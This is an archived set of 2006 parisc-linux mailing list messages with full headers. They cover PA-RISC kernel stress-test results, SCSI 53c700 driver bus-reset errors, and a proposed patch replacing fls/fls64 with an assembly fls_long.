X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ou4wcGtObmw7XK2HZzdLVSJHUzc4cpHQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23999

On Wed September 13 2006 15:49, Joel Soete wrote:
> 
> Michael S. Zick wrote:
> > On Wed September 13 2006 13:39, Joel Soete wrote:
> >> Hello all,
> >>
> >> The good point is that k 2.6.18-rc5-pa1 (32bit smp) already run my kernel build loop for 10 days of test without any pb ;-)
> >>

That is progress - the D380 used to be the one that failed first - now
that is around 5 times longer than ever before.

> >> Otoh, the 2.6.18-rc7-pa0 (64bit smp) boot well on n4k but didn't survive 10 minutes (here there are an additional tar/untar 
> >> loop) to stress test.
> >>

This may also be good news - with the general problems taken care of, now
we have something specific to the N4K to locate.

And having it fail in 10 minutes is a lot nicer than failing in 10 days.

> > 
> > Finally, I think we forced the kernel to give us some usable information!
> > 
> > Besides the kernel version and kernel width (32-bit & 64-bit) your earlier
> > posting of the /proc/cpuinfo messages shows the d380 is a 32-byte cache-line
> for c110 yes but for d380 I would like to check (this a p8000 but runing 32bit kernel so?)
>

My bad, it was the c110 with the 32-byte cache-line, I lost track of what was what.

> (specialy usefull to me to learn how to finish the jda stuff)
>

IIRC, Since spinlock_t is a compile-time size, Dave thought that all we could do
was print a warning if the kernel was booted on a machine with a cache-line size
different than what it was compiled for.

To do that requires the cache-line size be put into that pdc data structure;
which is part of the /proc/cpuinfo and dmesg changes.

Since application programs may not have to be compile-time sized, having the
cache-line size in /proc/cpuinfo could be useful for other purposes also.

I seem to recall that Dave passed on those changes to Kyle, but I may be
wrong in my recollection.
 
> > and the n4k is a 64-byte cache-line machine.
> > 
> Curious to read results on pa8800 system (if somebody could take try on such system?)
> 
> > What patches where applied to this kernel?
> > Willy's spinlock changes?
> > The timer changes?
> > The interrupt nesting changes?
> > The /proc/cpuinfo changes?
> > 
> on d180 only "Willy's spinlock changes" (as per pa1)
> on n4k all.
>

Perhaps those changes should get another look for 64-bit problems before
pulling them to locate the one that took the machine down so fast.
 
> Joel
Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] the 53c700 driver pb on c110/d380
Date: Fri, 15 Sep 2006 11:10:07 +0000
Lines: 52
Approved: news@gmane.org
Message-ID: <450A8A0F.5070902@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624187 21062 80.91.229.3 (22 Nov 2014 02:43:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:07 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>,
 James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Sep 2006 11:10:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 15 Sep 2006 13:10:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 097AC7D7FA;
	Fri, 15 Sep 2006 05:10:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18464-07; Fri, 15 Sep 2006 05:10:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D29E17D7F0;
	Fri, 15 Sep 2006 05:10:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B48447D7ED
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Sep 2006 05:10:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18465-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Sep 2006 05:10:12 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 203EA7D7E8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Sep 2006 05:10:11 -0600 (MDT)
Original-Received: from (ip-213-49-73-225.dsl.scarlet.be [213.49.73.225])
	by weequay.is.scarlet.be  with ESMTP id k8FBA8l30370;
	Fri, 15 Sep 2006 13:10:08 +0200
User-Agent: Thunderbird 1.5.0.5 (X11/20060812)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Q+N/dpcgODBpUrWUfGRMDN81Ji9SWpKQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24000

Hello James,

as well on c110 as on d380 I always get following pb with this driver for the ncr53c710 chip (scsi narrow s-e external 
connection), after 2 or 3 untar/rm iterations (obviously this is just an easy way to reproduce this pb which hapen more 
frequently in day to day life cycle):

Aug 26 07:37:48 patst007 kernel: scsi3: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
Aug 26 07:37:48 patst007 kernel: scsi3: Bus Reset detected, executing command 1f7c5080, slot 1f6f0778, dsp 000d01e8[01e8]
Aug 26 07:37:48 patst007 kernel:  failing command because of reset, slot 1f6f0520, cmnd 1f5d7a80
Aug 26 07:37:48 patst007 kernel:  failing command because of reset, slot 1f6f064c, cmnd 1f5d7060
Aug 26 07:37:48 patst007 kernel:  failing command because of reset, slot 1f6f0778, cmnd 1f7c5080
Aug 26 07:37:48 patst007 kernel:  failing command because of reset, slot 1f6f08a4, cmnd 1f7c51a0
Aug 26 07:37:50 patst007 kernel: scsi3: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
Aug 26 07:37:50 patst007 kernel: scsi3: Bus Reset detected, executing command 1f5d7a80, slot 1f6f08a4, dsp 000d01e8[01e8]
Aug 26 07:37:50 patst007 kernel:  failing command because of reset, slot 1f6f0520, cmnd 1f7c51a0
Aug 26 07:37:50 patst007 kernel:  failing command because of reset, slot 1f6f064c, cmnd 1f7c5080
Aug 26 07:37:50 patst007 kernel:  failing command because of reset, slot 1f6f0778, cmnd 1f5d7060
Aug 26 07:37:50 patst007 kernel:  failing command because of reset, slot 1f6f08a4, cmnd 1f5d7a80
--- snip ---
Aug 26 07:53:51 patst007 kernel: scsi3: (3:0) phase mismatch at 01e8, phase IO BSY DATA_IN
Aug 26 07:53:51 patst007 kernel: scsi3: Bus Reset detected, executing command 1f5d7a80, slot 1f6f08a4, dsp 000d01e8[01e8]
Aug 26 07:53:51 patst007 kernel:  failing command because of reset, slot 1f6f0520, cmnd 1f7c51a0
Aug 26 07:53:51 patst007 kernel:  failing command because of reset, slot 1f6f064c, cmnd 1f7c5080
Aug 26 07:53:51 patst007 kernel:  failing command because of reset, slot 1f6f0778, cmnd 1f5d7060
Aug 26 07:53:51 patst007 kernel:  failing command because of reset, slot 1f6f08a4, cmnd 1f5d7a80

(I grabe it from kernel log to show the timestamp)

Some I had to force the reboot of system, some other it panics with some "ccio_alloc_range() I/O MMU..."
(most probably "I/O MMU is out of mapping resources.")

Any idea why this 'phase mismatch' hapened?

Tia,
	Joel

PS: btw I just start to look in more details code but I don't undertand how this hunk:

#ifdef NCR_700_DEBUG
#define STATIC
#else
#define STATIC static
#endif

would help debuging? (I understand that __inline__ would be remove but static?)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A smal chg proposal about: [PATCH] [PARISC] Allow
	nested interrupts
Date: Sun, 17 Sep 2006 18:09:44 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <450D8F68.7090007@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624187 21064 80.91.229.3 (22 Nov 2014 02:43:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:07 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Sep 2006 18:10:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 17 Sep 2006 20:10:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30DB37D676;
	Sun, 17 Sep 2006 12:09:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00590-04; Sun, 17 Sep 2006 12:09:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 759D67D677;
	Sun, 17 Sep 2006 12:09:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 741637D674
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Sep 2006 12:09:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32464-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Sep 2006 12:09:51 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id CC3837D672
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Sep 2006 12:09:50 -0600 (MDT)
Original-Received: from (ip-213-49-71-152.dsl.scarlet.be [213.49.71.152]) 
	by guri.is.scarlet.be  with ESMTP id k8HI9kC27904; 
	Sun, 17 Sep 2006 20:09:46 +0200
User-Agent: Thunderbird 1.5.0.7 (X11/20060915)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Sbg/dJc9Iyd1EvqQe2dr9mVaa2FkZpW2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24001

Hello James,

Sorry to have read it so lately but I just figure out this:
- we can read in:
include/linux/bitops.h
--- snip ---
static inline unsigned fls_long(unsigned long l)
{
         if (sizeof(l) == 4)
                 return fls(l);
         return fls64(l);
}
--- snip ---

- otoh in your patch you wrote:
+static inline int eirr_to_irq(unsigned long eirr)
+{
+#ifdef CONFIG_64BIT
+       int bit = fls64(eirr);
+#else
+       int bit = fls(eirr);
+#endif
+       return (BITS_PER_LONG - bit) + TIMER_IRQ;
+}
+

so may be could it be simply writen:
	int bit = fls_long(eirr);

Hth,
	Joel

PS: I still have somewhere an optimized version for this stuff I will try to find it back ;-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] A smal chg proposal about: [PATCH] [PARISC] Allow 
	nested interrupts
Date: Mon, 18 Sep 2006 17:57:50 +0200
Lines: 157
Approved: news@gmane.org
Message-ID: <J5SPOE$8243830BDDFA5BBEFC3713115E8239B8@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624187 21066 80.91.229.3 (22 Nov 2014 02:43:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:07 +0000 (UTC)
Cc: "James.Bottomley" <James.Bottomley@SteelEye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "soete.joel" <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Sep 2006 15:58:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 18 Sep 2006 17:58:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E1617D677;
	Mon, 18 Sep 2006 09:58:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19822-01; Mon, 18 Sep 2006 09:58:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3EE5E7D66E;
	Mon, 18 Sep 2006 09:58:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 071717D668
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Sep 2006 09:58:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18499-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Sep 2006 09:57:58 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 5C5CF7D667
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Sep 2006 09:57:58 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
	by weequay.is.scarlet.be  with ESMTP id k8IFvol04184;
	Mon, 18 Sep 2006 17:57:50 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K/c8fW8wPjltCOrBOTU2oPYzMTE2NUnx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24002

> Hello James,
> 
> Sorry to have read it so lately but I just figure out this:
> - we can read in:
> include/linux/bitops.h
> --- snip ---
> static inline unsigned fls_long(unsigned long l)
> {
>          if (sizeof(l) =3D=3D 4)
>                  return fls(l);
>          return fls64(l);
> }
> --- snip ---
> 
> - otoh in your patch you wrote:
> +static inline int eirr_to_irq(unsigned long eirr)
> +{
> +#ifdef CONFIG_64BIT
> +       int bit =3D fls64(eirr);
> +#else
> +       int bit =3D fls(eirr);
> +#endif
> +       return (BITS_PER_LONG - bit) + TIMER_IRQ;
> +}
> +
> 
> so may be could it be simply writen:
> 	int bit =3D fls_long(eirr);
> 
> Hth,
> 	Joel
> 
> PS: I still have somewhere an optimized version for this stuff I will t=
ry to
find it back ;-)

Sorry for delay but I needed some more time to update my system and test =
stuff
on some; so here is my proposal:
--- ./arch/parisc/kernel/irq.c.Orig	2006-09-18 13:41:05.000000000 +0200
+++ ./arch/parisc/kernel/irq.c	2006-09-18 13:41:38.000000000 +0200
@@ -331,11 +331,7 @@
 
 static inline int eirr_to_irq(unsigned long eirr)
 {
-#ifdef CONFIG_64BIT
-	int bit =3D fls64(eirr);
-#else
-	int bit =3D fls(eirr);
-#endif
+	int bit =3D fls_long(eirr);
 	return (BITS_PER_LONG - bit) + TIMER_IRQ;
 }
 
--- ./include/asm-parisc/bitops.h.Orig	2006-09-18 12:10:23.000000000 +020=
0
+++ ./include/asm-parisc/bitops.h	2006-09-18 12:38:06.000000000 +0200
@@ -173,34 +173,43 @@
  * fls(0) =3D 0, fls(1) =3D 1, fls(0x80000000) =3D 32.
  */
 
-static __inline__ int fls(int x)
+#define __HAVE_ARCH_FLS_LONG
+#define fls(x)	fls_long((unsigned long)(x))
+
+static __inline__ int fls_long(unsigned long l)
 {
-	int ret;
-	if (!x)
-		return 0;
+	unsigned long ret;
 
 	__asm__(
-	"	ldi		1,%1\n"
-	"	extru,<>	%0,15,16,%%r0\n"
-	"	zdep,TR		%0,15,16,%0\n"		/* xxxx0000 */
-	"	addi		16,%1,%1\n"
-	"	extru,<>	%0,7,8,%%r0\n"
-	"	zdep,TR		%0,23,24,%0\n"		/* xx000000 */
-	"	addi		8,%1,%1\n"
-	"	extru,<>	%0,3,4,%%r0\n"
-	"	zdep,TR		%0,27,28,%0\n"		/* x0000000 */
-	"	addi		4,%1,%1\n"
-	"	extru,<>	%0,1,2,%%r0\n"
-	"	zdep,TR		%0,29,30,%0\n"		/* y0000000 (y&3 =3D 0) */
-	"	addi		2,%1,%1\n"
-	"	extru,=3D		%0,0,1,%%r0\n"
-	"	addi		1,%1,%1\n"		/* if y & 8, add 1 */
-		: "+r" (x), "=3Dr" (ret) );
-
-	return ret;
+#ifdef __LP64__
+		"ldi		64,%1		\n\t"
+		"extrd,u,*=3D	%0,31,32,%%r0	\n\t"
+		"extrd,u,*TR	%0,31,32,%0	\n\t"	/* move top 32-bits down */
+		"addi		-32,%1,%1	\n\t"
+#else
+		"ldi		32,%1		\n\t"
+#endif
+		"extru,=3D	%0,15,16,%%r0	\n\t"
+		"extru,TR	%0,15,16,%0	\n\t"	/* xxxx0000 -> 0000xxxx */
+		"addi		-16,%1,%1	\n\t"
+		"extru,=3D	%0,23,8,%%r0	\n\t"
+		"extru,TR	%0,23,8,%0	\n\t"	/* 0000xx00 -> 000000xx */
+		"addi		-8,%1,%1	\n\t"
+		"extru,=3D	%0,27,4,%%r0	\n\t"
+		"extru,TR	%0,27,4,%0	\n\t"	/* 000000x0 -> 0000000x */
+	 	"addi		-4,%1,%1	\n\t"
+		"extru,=3D	%0,29,2,%%r0	\n\t"
+		"extru,TR	%0,29,2,%0	\n\t"	/* 0000000y, 1100b -> 0011b */
+		"addi		-2,%1,%1	\n\t"
+		"extru,=3D	%0,30,1,%%r0	\n\t"
+		"extru,TR	%0,30,1,%0	\n\t"	/* 0000000z, 10b -> 01b */
+		"addi		-1,%1,%1	\n\t"
+		"extru,<>	%0,31,1,%%r0	\n\t"	/* check last bit */
+		"addi		-1,%1,%1	\n\t"
+		: "+r" (l), "=3Dr" (ret) );
+	return (int)ret;
 }
 
-#include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
 #include <asm-generic/bitops/sched.h>
 
--- ./include/linux/bitops.h.Orig	2006-09-18 12:35:04.000000000 +0200
+++ ./include/linux/bitops.h	2006-09-18 13:56:14.000000000 +0200
@@ -53,11 +53,13 @@
 	return (word >> shift) | (word << (32 - shift));
 }
 
+#ifndef __HAVE_ARCH_FLS_LONG
 static inline unsigned fls_long(unsigned long l)
 {
 	if (sizeof(l) =3D=3D 4)
 		return fls(l);
 	return fls64(l);
 }
+#endif 
 
 #endif

=3D=3D=3D=3D <> =3D=3D=3D=3D
tested (build and boot fine) on d380 32bit smp, b2k 32 & 64 bit up kernel=

(have encountered unrelated pb to build n4k up kernel?)

Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devene=
z aujourd'hui Scarlet One grace a un client existant de Scarlet, vous rec=
evez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur ht=
tp://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re:w-a to what [Was: D380 and ext[23] fs grave pb]
Date: Thu, 21 Sep 2006 09:44:18 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <J5XMTU$E343E6866EECDA1EF5A8398F48EC38DA@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624188 21068 80.91.229.3 (22 Nov 2014 02:43:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:08 +0000 (UTC)
Cc: "James.Bottomley" <James.Bottomley@SteelEye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 matthew <matthew@wil.cx>
To: "soete.joel" <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Sep 2006 07:44:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 21 Sep 2006 09:44:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F1987D691;
	Thu, 21 Sep 2006 01:44:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32339-06; Thu, 21 Sep 2006 01:44:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C810B7D68A;
	Thu, 21 Sep 2006 01:44:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4580E7D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Sep 2006 01:44:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32339-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Sep 2006 01:44:26 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 958A37D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Sep 2006 01:44:25 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by weequay.is.scarlet.be  with ESMTP id k8L7iJl16835;
	Thu, 21 Sep 2006 09:44:19 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
